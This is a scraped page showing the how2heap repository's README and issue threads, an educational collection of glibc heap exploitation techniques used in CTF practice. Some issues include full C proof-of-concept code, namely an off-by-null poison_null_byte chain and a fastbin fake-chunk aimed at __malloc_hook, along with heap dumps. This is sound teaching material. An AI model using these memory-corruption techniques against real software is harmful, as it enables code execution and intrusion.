Code Monkey home page Code Monkey logo

how2heap's Introduction

Educational Heap Exploitation

This repo is for learning various heap exploitation techniques. We use Ubuntu's Libc releases as the gold-standard. Each technique is verified to work on corresponding Ubuntu releases. You can run apt source libc6 to download the source code of the Libc your are using on Debian-based operating system. You can also click ▶️ to debug the technique in your browser using gdb.

We came up with the idea during a hack meeting, and have implemented the following techniques:

File ▶️ Technique Glibc-Version Patch Applicable CTF Challenges
first_fit.c Demonstrating glibc malloc's first-fit behavior.
calc_tcache_idx.c Demonstrating glibc's tcache index calculation.
fastbin_dup.c ▶️ Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. latest
fastbin_dup_into_stack.c ▶️ Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. latest 9447-search-engine, 0ctf 2017-babyheap
fastbin_dup_consolidate.c ▶️ Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. latest Hitcon 2016 SleepyHolder
unsafe_unlink.c ▶️ Exploiting free on a corrupted chunk to get arbitrary write. latest HITCON CTF 2014-stkof, Insomni'hack 2017-Wheel of Robots
house_of_spirit.c ▶️ Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. latest hack.lu CTF 2014-OREO
poison_null_byte.c ▶️ Exploiting a single null byte overflow. latest PlaidCTF 2015-plaiddb, BalsnCTF 2019-PlainNote
house_of_lore.c ▶️ Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist. latest
overlapping_chunks.c ▶️ Exploit the overwrite of a freed chunk size in the unsorted bin in order to make a new allocation overlap with an existing chunk < 2.29 patch hack.lu CTF 2015-bookstore, Nuit du Hack 2016-night-deamonic-heap
overlapping_chunks_2.c ▶️ Exploit the overwrite of an in use chunk size in order to make a new allocation overlap with an existing chunk < 2.29 patch
mmap_overlapping_chunks.c Exploit an in use mmap chunk in order to make a new allocation overlap with a current mmap chunk latest
house_of_force.c ▶️ Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer < 2.29 patch Boston Key Party 2016-cookbook, BCTF 2016-bcloud
unsorted_bin_into_stack.c ▶️ Exploiting the overwrite of a freed chunk on unsorted bin freelist to return a nearly-arbitrary pointer. < 2.29 patch
unsorted_bin_attack.c ▶️ Exploiting the overwrite of a freed chunk on unsorted bin freelist to write a large value into arbitrary address < 2.29 patch 0ctf 2016-zerostorage
large_bin_attack.c ▶️ Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address latest 0ctf 2018-heapstorm2
house_of_einherjar.c ▶️ Exploiting a single null byte overflow to trick malloc into returning a controlled pointer latest Seccon 2016-tinypad
house_of_water.c Exploit a UAF or double free to gain leakless control of the t-cache metadata and a leakless way to link libc in t-cache latest 37c3 Potluck - Tamagoyaki
sysmalloc_int_free.c Demonstrating freeing the nearly arbitrary sized Top Chunk (Wilderness) using malloc (sysmalloc _int_free() ) latest
house_of_orange.c ▶️ Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution < 2.26 patch Hitcon 2016 houseoforange
house_of_tangerine.c Exploiting the Top Chunk (Wilderness) in order to trick malloc into returning a completely arbitrary pointer by abusing the tcache freelist >= 2.26 PicoCTF 2024- high frequency troubles
house_of_roman.c ▶️ Leakless technique in order to gain remote code execution via fake fastbins, the unsorted_bin attack and relative overwrites. < 2.29 patch
tcache_poisoning.c ▶️ Tricking malloc into returning a completely arbitrary pointer by abusing the tcache freelist. (requires heap leak on and after 2.32) > 2.25 patch
tcache_house_of_spirit.c ▶️ Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. > 2.25
house_of_botcake.c ▶️ Bypass double free restriction on tcache. Make tcache_dup great again. > 2.25
tcache_stashing_unlink_attack.c ▶️ Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. > 2.25 Hitcon 2019 one punch man
fastbin_reverse_into_tcache.c ▶️ Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. > 2.25
house_of_mind_fastbin.c ▶️ Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address latest
house_of_storm.c ▶️ Exploiting a use after free on both a large and unsorted bin chunk to return an arbitrary chunk from malloc < 2.29
house_of_gods.c ▶️ A technique to hijack a thread's arena within 8 allocations < 2.27
decrypt_safe_linking.c ▶️ Decrypt the poisoned value in linked list to recover the actual pointer >= 2.32
safe_link_double_protect.c Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache >= 2.32 37c3 Potluck - Tamagoyaki
tcache_dup.c(obsolete) Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. 2.26 - 2.28 patch

The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible). We address this issue by keeping multiple versions of the same technique for each Glibc-release that required an adjustment. The structure is glibc_<version>/technique.c.

Have a good example? Add it here! Try to inline the whole technique in a single .c -- it's a lot easier to learn that way.

Get Started

Quick Setup

  • make sure you have the following packages/tools installed: patchelf zstd wget (of course also build-essential or similar for compilers, make, ...)
  • also, /usr/bin/python must be/point to your python binary (e. g. /usr/bin/python3)
git clone https://github.com/shellphish/how2heap
cd how2heap
make clean base
./malloc_playground

Notice that this will link the binaries with your system libc. If you want to play with other libc versions. Please refer to Complete Setup.

Complete Setup

You will encounter symbol versioning issues (see this) if you try to LD_PRELOAD libcs to a binary that's compiled on your host machine. We have two ways to bypass it.

Method 1: link against older libc

This one tells linker to link the target binary with the target libc.

git clone https://github.com/shellphish/how2heap
cd how2heap
H2H_USE_SYSTEM_LIBC=N make v2.23

This will link all the binaries against corresponding libcs. What's better is that it comes with debug symbols. Now you can play with any libc versions on your host machine. In this example, it will compile all glibc-2.23 binaries and link them with libc-2.23. You can change the number to play with other libc versions.

Method 2: use docker

This uses Docker-based approach to complie binaries inside an old ubuntu container so it is runnable with the target libc version.

git clone https://github.com/shellphish/how2heap
cd how2heap

# the next command will prepare the target binary so it runs with
# the expected libc version
make base
./glibc_run.sh 2.30 ./malloc_playground -d -p

# now you can play with the binary with glibc-2.30
# and even debug it with the correct symbols
readelf -d -W malloc_playground | grep RUNPATH # or use checksec
readelf -l -W malloc_playground | grep interpreter
gdb -q -ex "start" ./malloc_playground

Heap Exploitation Tools

There are some heap exploitation tools floating around.

shadow

jemalloc exploitation framework: https://github.com/CENSUS/shadow

libheap

Examine the glibc heap in gdb: https://github.com/cloudburst/libheap

heap-viewer

Examine the glibc heap in IDA Pro: https://github.com/danigargu/heap-viewer

heapinspect

A Python based heap playground with good visualization for educational purposes: https://github.com/matrix1001/heapinspect

Forkever

Debugger that lets you set "checkpoints" as well as view and edit the heap using a hexeditor: https://github.com/haxkor/forkever

Malloc Playground

The malloc_playground.c file given is the source for a program that prompts the user for commands to allocate and free memory interactively.

Pwngdb

Examine the glibc heap in gdb: https://github.com/scwuaptx/Pwngdb

heaptrace

Helps you visualize heap operations by replacing addresses with symbols: https://github.com/Arinerron/heaptrace

Heap Search

Search for applicable heap exploitation techniques based on primitive requirements: https://kissprogramming.com/heap/heap-search

Other resources

Some good heap exploitation resources, roughly in order of their publication, are:

Hardening

There are a couple of "hardening" measures embedded in glibc, like export MALLOC_CHECK_=1 (enables some checks), export MALLOC_PERTURB_=1 (data is overwritten), export MALLOC_MMAP_THRESHOLD_=1 (always use mmap()), ...

More info: mcheck(), mallopt().

There's also some tracing support as mtrace(), malloc_stats(), malloc_info(), memusage, and in other functions in this family.

how2heap's People

Contributors

andigena avatar antoniobianchi333 avatar cloudburst avatar crowell avatar cyanboy avatar danigargu avatar degrigis avatar eterna1 avatar fr0ster avatar goreil avatar grazfather avatar htejeda avatar insuyun avatar jkrshnmenon avatar junmoxiao avatar k4lizen avatar kevinbackhouse avatar kyle-kyle avatar m1ghtym0 avatar martinclauss avatar mdulin2 avatar milo-d avatar n132 avatar nickstephens avatar rhelmot avatar sajjadium avatar salls avatar udpctf avatar xmzyshypnc avatar zardus avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

how2heap's Issues

A tool for heap learning - HeapInspect

this is just a self-recommendation.

i am working on a project that dynamically analyse the heap by only a pid. no need of gdb.

currently it supports fastbins, bins, tcache. And i implemented relative mode. check this.

heapinspect $ python HeapInspect.py 12408

==============================     heapchunks     ==============================
chunk(0x555555559000): prev_size=0x0      size=0x251    fd=0x7             bk=0x0
chunk(0x555555559250): prev_size=0x0      size=0x21     fd=0x0             bk=0x0
chunk(0x555555559270): prev_size=0x0      size=0x21     fd=0x555555559260  bk=0x0
chunk(0x555555559290): prev_size=0x0      size=0x21     fd=0x555555559280  bk=0x0
chunk(0x5555555592b0): prev_size=0x0      size=0x21     fd=0x5555555592a0  bk=0x0
chunk(0x5555555592d0): prev_size=0x0      size=0x21     fd=0x5555555592c0  bk=0x0
chunk(0x5555555592f0): prev_size=0x0      size=0x21     fd=0x5555555592e0  bk=0x0
chunk(0x555555559310): prev_size=0x0      size=0x21     fd=0x555555559300  bk=0x0
chunk(0x555555559330): prev_size=0x0      size=0x411    fd=0x7ffff7fa6190  bk=0x555555559c50
chunk(0x555555559740): prev_size=0x5555.. size=0x401    fd=0x7ffff7fa5ca0  bk=0x7ffff7fa5ca0
chunk(0x555555559b40): prev_size=0x400    size=0x110    fd=0x7ffff7fa62f0  bk=0x7ffff7fa62f0
chunk(0x555555559c50): prev_size=0x0      size=0x821    fd=0x7ffff7fa6190  bk=0x55555555a580
chunk(0x55555555a470): prev_size=0x820    size=0x110    fd=0x7ffff7fa62a0  bk=0x7ffff7fa62a0
chunk(0x55555555a580): prev_size=0x5555.. size=0x831    fd=0x555555559c50  bk=0x7ffff7fa6190
chunk(0x55555555adb0): prev_size=0x830    size=0x110    fd=0x7ffff7fa60b0  bk=0x7ffff7fa60b0
chunk(0x55555555aec0): prev_size=0x5555.. size=0x211    fd=0x7ffff7fa6000  bk=0x7ffff7fa6000
chunk(0x55555555b0d0): prev_size=0x0      size=0x161    fd=0x7ffff7fa5df0  bk=0x7ffff7fa5df0
chunk(0x55555555b230): prev_size=0x160    size=0x20     fd=0x0             bk=0x0
chunk(0x55555555b250): prev_size=0x0      size=0x21     fd=0x7ffff7fa5cb0  bk=0x7ffff7fa5cb0
chunk(0x55555555b270): prev_size=0x20     size=0x20     fd=0x0             bk=0x0
chunk(0x55555555b290): prev_size=0x0      size=0x111    fd=0x0             bk=0x0
chunk(0x55555555b3a0): prev_size=0x0      size=0x1ec61  fd=0x0             bk=0x0
==============================    unsortedbins    ==============================
chunk(0x555555559740): prev_size=0x5555.. size=0x401    fd=0x7ffff7fa5ca0  bk=0x7ffff7fa5ca0
==============================  smallbins   0x20  ==============================
chunk(0x55555555b250): prev_size=0x0      size=0x21     fd=0x7ffff7fa5cb0  bk=0x7ffff7fa5cb0
==============================  smallbins   0x160 ==============================
chunk(0x55555555b0d0): prev_size=0x0      size=0x161    fd=0x7ffff7fa5df0  bk=0x7ffff7fa5df0
==============================  largebins   0x4f  ==============================
chunk(0x555555559c50): prev_size=0x0      size=0x821    fd=0x7ffff7fa6190  bk=0x55555555a580
chunk(0x55555555a580): prev_size=0x5555.. size=0x831    fd=0x555555559c50  bk=0x7ffff7fa6190

relative mode

=========================     relative heapchunks      =========================
chunk(heap+0x0     ): prev_size=0x0      size=0x251    fd=0x7           bk=0x0
chunk(heap+0x250   ): prev_size=0x0      size=0x21     fd=0x0           bk=0x0
chunk(heap+0x270   ): prev_size=0x0      size=0x21     fd=heap+0x260    bk=0x0
chunk(heap+0x290   ): prev_size=0x0      size=0x21     fd=heap+0x280    bk=0x0
chunk(heap+0x2b0   ): prev_size=0x0      size=0x21     fd=heap+0x2a0    bk=0x0
chunk(heap+0x2d0   ): prev_size=0x0      size=0x21     fd=heap+0x2c0    bk=0x0
chunk(heap+0x2f0   ): prev_size=0x0      size=0x21     fd=heap+0x2e0    bk=0x0
chunk(heap+0x310   ): prev_size=0x0      size=0x21     fd=heap+0x300    bk=0x0
chunk(heap+0x330   ): prev_size=0x0      size=0x411    fd=libc+0x1b8190 bk=heap+0xc50
chunk(heap+0x740   ): prev_size=0x5555.. size=0x401    fd=libc+0x1b7ca0 bk=libc+0x1b7ca0
chunk(heap+0xb40   ): prev_size=0x400    size=0x110    fd=libc+0x1b82f0 bk=libc+0x1b82f0
chunk(heap+0xc50   ): prev_size=0x0      size=0x821    fd=libc+0x1b8190 bk=heap+0x1580
chunk(heap+0x1470  ): prev_size=0x820    size=0x110    fd=libc+0x1b82a0 bk=libc+0x1b82a0
chunk(heap+0x1580  ): prev_size=0x5555.. size=0x831    fd=heap+0xc50    bk=libc+0x1b8190
chunk(heap+0x1db0  ): prev_size=0x830    size=0x110    fd=libc+0x1b80b0 bk=libc+0x1b80b0
chunk(heap+0x1ec0  ): prev_size=0x5555.. size=0x211    fd=libc+0x1b8000 bk=libc+0x1b8000
chunk(heap+0x20d0  ): prev_size=0x0      size=0x161    fd=libc+0x1b7df0 bk=libc+0x1b7df0
chunk(heap+0x2230  ): prev_size=0x160    size=0x20     fd=0x0           bk=0x0
chunk(heap+0x2250  ): prev_size=0x0      size=0x21     fd=libc+0x1b7cb0 bk=libc+0x1b7cb0
chunk(heap+0x2270  ): prev_size=0x20     size=0x20     fd=0x0           bk=0x0
chunk(heap+0x2290  ): prev_size=0x0      size=0x111    fd=0x0           bk=0x0
chunk(heap+0x23a0  ): prev_size=0x0      size=0x1ec61  fd=0x0           bk=0x0
=========================    relative unsortedbins     =========================
chunk(heap+0x740   ): prev_size=0x5555.. size=0x401    fd=libc+0x1b7ca0 bk=libc+0x1b7ca0
=========================  relative smallbins    0x20  =========================
chunk(heap+0x2250  ): prev_size=0x0      size=0x21     fd=libc+0x1b7cb0 bk=libc+0x1b7cb0
=========================  relative smallbins    0x160 =========================
chunk(heap+0x20d0  ): prev_size=0x0      size=0x161    fd=libc+0x1b7df0 bk=libc+0x1b7df0
=========================  relative largebins    0x4f  =========================
chunk(heap+0xc50   ): prev_size=0x0      size=0x821    fd=libc+0x1b8190 bk=heap+0x1580
chunk(heap+0x1580  ): prev_size=0x5555.. size=0x831    fd=heap+0xc50    bk=libc+0x1b8190

however, i haven't finished it. but i believe that this tool will help starters a lot.

heapinspect

wrong in unsafe_unlink.c in glibc2.31

at line 40,
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
i think if normally freed, the chunk1.previous_size must be 0x430 instead 0x90.

No make rule for libdl.so.2

I'm getting this error when trying to compile glibc 2.25/2.26. I also had to use --disable-werror inside the Makefile, but that's another thing.

make[2]: *** No rule to make target '/home/kali/pentest/reversing/how2heap/glibc_build/dlfcn/libdl.so.2', needed by '/home/kali/pentest/reversing/how2heap/glibc_build/malloc/libmemusage.so'. Stop.

house_of_orange...

In _IO_flush_lockp() function...

813 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
814 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
815 || (_IO_vtable_offset (fp) == 0
816 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
817 > fp->_wide_data->_IO_write_base))
818 #endif
819 )
820 && _IO_OVERFLOW (fp, EOF) == EOF)

we just satisfy (fp->_mode <= 0 && fp-> _IO_write_ptr > fp->_IO_write_base)

or (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data -> _IO_write_base)

I think former is more eaiser than later.

Add some heap information

Add some heap information to make the code easier to understand.

Maybe the following code is more helpful and clean to know what's happened in the heap.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

// Modify from https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // step1: allocate padding
    void *tmp = malloc(0x1);
    void *heap_base = (void *)((long)tmp & (~0xfff));
    printf("heap address: %p\n", heap_base);
    size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20;
    void *padding= malloc(size);

    // step2: allocate prev chunk and victim chunk
    void *prev = malloc(0x500);
    void *victim = malloc(0x4f0);
    malloc(0x10);

    // step3: link prev into largebin
    void *a = malloc(0x4f0);
    malloc(0x10);
    void *b = malloc(0x510);
    malloc(0x10);

    /**
     * Heap layout:
     *     ... ...
     * padding 
     *    prev Chunk(addr=0x??0010, size=0x510)
     *  victim Chunk(addr=0x??0520, size=0x500)
     * barrier Chunk(addr=0x??0a20, size=0x20)
     *       a Chunk(addr=0x??0a40, size=0x500)
     * barrier Chunk(addr=0x??0f40, size=0x20)
     *       b Chunk(addr=0x??0f60, size=0x520)
     * barrier Chunk(addr=0x??1480, size=0x20)
     */

    free(a);
    free(b);
    free(prev);
    // unsorted_bins <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]

    malloc(0x1000); // Allocate a huge chunk to enable sorting
    // large_bin[67] <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]

    // step4: allocate prev again to construct fake chunk
    void *prev2 = malloc(0x500);
    // prev2->fd == prev2->fd_nextsize == a
    // prev2->bk == prev2->bk_nextsize == b
    ((long *)prev)[1] = 0x501;
    *(long *)(prev + 0x500) = 0x500;
    // fake_chunk == prev + 0x10 == 0x??0020
    // use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk
    // fake_chunk->fd == a
    // fake_chunk->bk == b

    // step5: bypass unlinking
    void *b2 = malloc(0x510); // b->fd == a
    // large_bin[67] <-> [prev, size=0x510] <-> [a, size=0x500]
    ((char*)b2)[0] = '\x10';
    ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk

    void *a2 = malloc(0x4f0);
    // large_bin[67] <-> [prev, size=0x510]

    free(a2);
    free(victim);
    // unsorted_bins <-> [victim, size=0x500] <-> [a, size=0x500]

    void *a3 = malloc(0x4f0); // a->bk == victim
    // unsorted_bins <-> [victim, size=0x500]
    ((char*)a3)[8] = '\x10';
    ((char*)a3)[9] = '\x00'; // a->bk <- fake_chunk

    // Now fake_chunk->fd->bk == a->bk == fake_chunk
    //     fake_chunk->bk->fd == b->fd == fake_chunk
    // can pass unlink_chunk in malloc.c:
    //      mchunkptr fd = p->fd;
    //      mchunkptr bk = p->bk;
    //      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    //          malloc_printerr ("corrupted double-linked list");

    // step6: add fake chunk into unsorted bin by off-by-null
    void *victim2 = malloc(0x4f0);
    /* VULNERABILITY */
    ((char *)victim2)[-8] = '\x00';
    /* VULNERABILITY */

    free(victim);
    // unsorted_bins <-> [fake_chunk + victim, size=0xa00]

    // step7: validate the chunk overlapping
    void *merged = malloc(0x100);
    assert((size_t)merged == (size_t)prev + 0x10);
}

Add techniques found by ArcHeap

Hi, all.

I would like to introduce my recent work, ArcHeap: https://arxiv.org/pdf/1903.00503.pdf
and also found techniques by this one.

I already reported unsorted_bin_into_stack, and this repo contains other techniques (all tested in libc 2.23 from Ubuntu 16.04, but I think it will work until 2.25 before tcache).

We determine the uniqueness of the techniques in two aspects: a root cause and a capability.

New Old Root causes New capability
House of unsorted bin House of Einherjar Unsorted vs. Free Does not require a heap address
Unaligned Double Free Fast bin dup Small vs. Fast Can abuse a small bin
Overlapping chunk with small bin Overlapping chunk Small vs. Unsorted Does not need a controllable size allocation
Fast bin into other bin Fast bin dup into stack Consolidation vs. Fast Can allocate a non-fast chunk

Let me know if you have a technique to add to this repo. Then I will make a pull request. Thank you.

A better way to handle different glibc

I've got a better way to handle different glibc by changing the binary's interpreter. Only need various libc.so and corresponding ld.so and you can learn these heap exploiting techniques without problems about glibc.

Check https://github.com/matrix1001/welpwn. I have written that function in PwnContext/auxiliary with name change_ld. And there's a example in readme.

See if you can use this.

Figure out a good balance for "Applicable CTF Challenges"

So far, we have between zero and two applicable CTF chals per technique. This is probably good, but the more CTFs run, the more applicable chals will pop up. We probably don't want humongous lists for people to get lost in, so we'll need a balance.

house_of_orange broken

The exploit chain of the house_of_orange might be broken, due to changes in stdlib/abort.c

Commit 91e7cf982d0104f0e71770f5ae8e3faf352dea9f

Before:

  #define fflush(s) _IO_flush_all_lockp (0)
...
  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);                                                                                                                                                                                                
    }

Now:

 /* Send signal which possibly calls a user handler.  */
  if (stage == 1)
    {
      /* This stage is special: we must allow repeated calls of
     `abort' when a user defined handler for SIGABRT is installed.
     This is risky since the `raise' implementation might also
     fail but I don't see another possibility.  */
      int save_stage = stage;

      stage = 0;
      __libc_lock_unlock_recursive (lock);

      raise (SIGABRT);

      __libc_lock_lock_recursive (lock);
      stage = save_stage + 1;
    }

This means _IO_flush_all_lockp is no longer called from malloc_printerr.

However, the actual heap corruption is still feasible only the special way of gaining ip-controlled needs a new thought.

something not clearly when calculating on the size of padding in poision_null_byte.c in glibc2.31

hello, when i debug the elf created by this file.
at line 22, calculate the size of padding, at my machine :
the tmp = 0x4062a0
so size = 0x10000 - 0x4062a0&0xffff - 0x30
and the operation priority i read at prority tell that it do '&' before do '-'
but the result is
pwndbg> p/x 0x10000 - 0x4062a0&0xffff - 0x30
$3 = 0x9d40

when it must be
pwndbg> p/x 0x4062a0&0xffff
$4 = 0x62a0
pwndbg> p/x 0x62a0-0x30
$5 = 0x6270
pwndbg> p/x 0x10000-0x6270
$6 = 0x9d90
what's wrong?

look into HITCON 2016 examples

We didn't have a chance at the CTF, but we should figure out what babyheap needs, and if we should add a technique to how2heap for it.

House of Force not working under glibc2.28

This is from glibc2.28/malloc/malloc.c:3719

        if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
				   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");

However in README.md, the Glibc-Version is < 2.29.

glibc 2.25 poison_null_byte

in glibc.2.23 and glibc 2.24 have the check :chunk_size == next->prev->chunk_size

so the poison_null_byte done'st work. like this:
image

so we should bypass the check ,like glibc 2.6 poison_null_byte.c

House of Storm POC Randomization Issue

Hey @Kyle-Kyle ,

I have written up a proof of concept for the House of Storm technique that I would love to add. The technique works by using offsetted bytes with the unsorted bin attack to act as a size of the chunk we want. Once this happens, the next iteration of the unsorted bin will have the proper size and take our chunk out because it is now an exact match. This is an awesome primitive because it returns an arbitrary chunk from the allocator.

However, the technique has a problem for this repo; because of the size being written and requiring an absolute match in the unsorted bin iterations, there is a 1/2 chance this check will fail because the 4th bit on the chunk size (resulting in the program crashing). This crash can be predicted but it is not as possible to work around because the size value write and the chunk removal happen on a single call to malloc.

What are your thoughts on adding this technique to the repo? Because of the randomness that cannot be circumvented (1/2) I wanted to hear your thoughts before making a PR.

[Refactor] Refrain using printf/puts unless necessary

As shown in the following Proof of Concept, printf an puts make use of the heap and, these functions, do not release the allocated memory after using it (it seems these do so due to performance issues, I haven't reported the issue to libc developers yet). This can interfere with further analysis or exploitation.

I suggest a refactor from printf to fprintf(stderr, ...) should fix this issue.

Proof of Concept here, compile with gcc printf_fastbins_malloc_hook.c -o printf_poc -zexecstack

Reorganize

The current folders glibc_2.25 and glibc_2.26 don't really make sense anymore.
I would prefer something like deprecated and active.
However, we often have multiple stages of deprecated, which are working around several checks until finally killed...
Maybe we should create a folder for each major technique in deprecated and keep several versions in there, thoughts?

Poison null byte - the example might be confusing

The example shown in poison_null_byte.c can be a little bit misleading due to "C" and "B1" being consolidated and then merged with the top chunk.

And if changing the example is kind of too much, I think it's worth mentioning that it'd get merged with the top chunk.

Puzzles of 【House Of The Lore】

Before talking about my puzzles, I'd like to thank the team shellphish for this wonderful repo! Much appreciate.

After that, I just found the comment in the house of lore is a bit confusing.

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

The puzzling part is In the unsorted bin.

After the debugging, I found that the (nil) pointer only happened when compiled into a 64-bit ELF. That is to say the fastbin (128 byte upper bound) is used instead of the unsorted bin as described.

Since the house of the lore is claimed to be tested in a 32-bit architecture, where the 100 byte chunk is indeed out the range of fastbin. However, after the debugging, these two pointers are by no means nil in the unsorted bin double linked list...

To summarize, I think the comment of pointers are nil should be removed.

Want to ask question about fake chunk in fastbins

Hello, i want to insert fake chunk in fastbins, fake chunk will point into abitrary address. for example, i want to overwrite malloc_hook, and i found fake chunk before malloc_hook where the size is 0x7f. i insert that fake chunk into fastbins and then i malloc, but malloc gives me an error. but when i change the size value in fake chunk with 0x81, malloc success.

is 0x7f is invalid size for fastbins ?, i read article on internet they use fake chunk where the size 0x7f and malloc success return an address of fake_chunk.

i made sample code to create fake chunk.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char const* argv[])
{
	char data[0x80];
	long *a, *b, *c;
	a = malloc(0x70);
	b = malloc(0x70);
	c = malloc(0x70);
	free(a);
	free(b);
	*(long*)&data[8] = 0x7f;
	printf("data = %p\n", &data);
	*b = (long)&data;
	printf("malloc(0x70) = %p\n", malloc(0x70));
	printf("malloc(0x70) = %p\n", malloc(0x70));
	return 0;
}

above script gives me an error.

vagrant@vagrant-ubuntu-trusty-64:/vagrant/tmp$ ./fake_chunk 
data = 0x7ffde5eb6c10
malloc(0x70) = 0xa10090
*** Error in `./fake_chunk': malloc(): memory corruption (fast): 0x00007ffde5eb6c20 ***
Aborted (core dumped)

when i change the size of fake chunk with 0x81, it's works

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char const* argv[])
{
	char data[0x80];
	long *a, *b, *c;
	a = malloc(0x70);
	b = malloc(0x70);
	c = malloc(0x70);
	free(a);
	free(b);
	*(long*)&data[8] = 0x81;
	printf("data = %p\n", &data);
	*b = (long)&data;
	printf("malloc(0x70) = %p\n", malloc(0x70));
	printf("malloc(0x70) = %p\n", malloc(0x70));
	return 0;
}
vagrant@vagrant-ubuntu-trusty-64:/vagrant/tmp$ ./fake_chunk 
data = 0x7ffeb847a220
malloc(0x70) = 0x1a73090
malloc(0x70) = 0x7ffeb847a230

sorry for my bad english, hope you understand what i mean. thanks for your help

tcache attacks on glibc2.27 no longer work on ubuntu 18.04

Was testing in an ubuntu 18.04 docker container and found that I had to downgrade the libc version to get them working.

ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
root@ebae5017bf23:/how2heap# cd glibc_2.27/
root@ebae5017bf23:/how2heap/glibc_2.27# ./tcache_dup 
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x55bbb95f6670
Freeing twice...
free(): double free detected in tcache 2
Aborted (core dumped)

root@ebae5017bf23:/how2heap/glibc_2.27# cd ..
root@ebae5017bf23:/how2heap# DEBIAN_FRONTEND=noninteractive dpkg -i libc6_2.27-3ubuntu1.2_amd64.deb 
dpkg: warning: downgrading libc6:amd64 from 2.27-3ubuntu1.4 to 2.27-3ubuntu1.2
(Reading database ... 12312 files and directories currently installed.)
Preparing to unpack libc6_2.27-3ubuntu1.2_amd64.deb ...
Unpacking libc6:amd64 (2.27-3ubuntu1.2) over (2.27-3ubuntu1.4) ...
Setting up libc6:amd64 (2.27-3ubuntu1.2) ...
Processing triggers for libc-bin (2.27-3ubuntu1.4) ...

root@ebae5017bf23:/how2heap# cd -
/how2heap/glibc_2.27

root@ebae5017bf23:/how2heap/glibc_2.27# ./tcache_dup 
This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x5592d164a670
Freeing twice...
Now the free list has [ 0x5592d164a670, 0x5592d164a670 ].
Next allocated buffers will be same: [ 0x5592d164a670, 0x5592d164a670 ].

I got the deb file from here https://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1.2_amd64.deb

Compilation issues

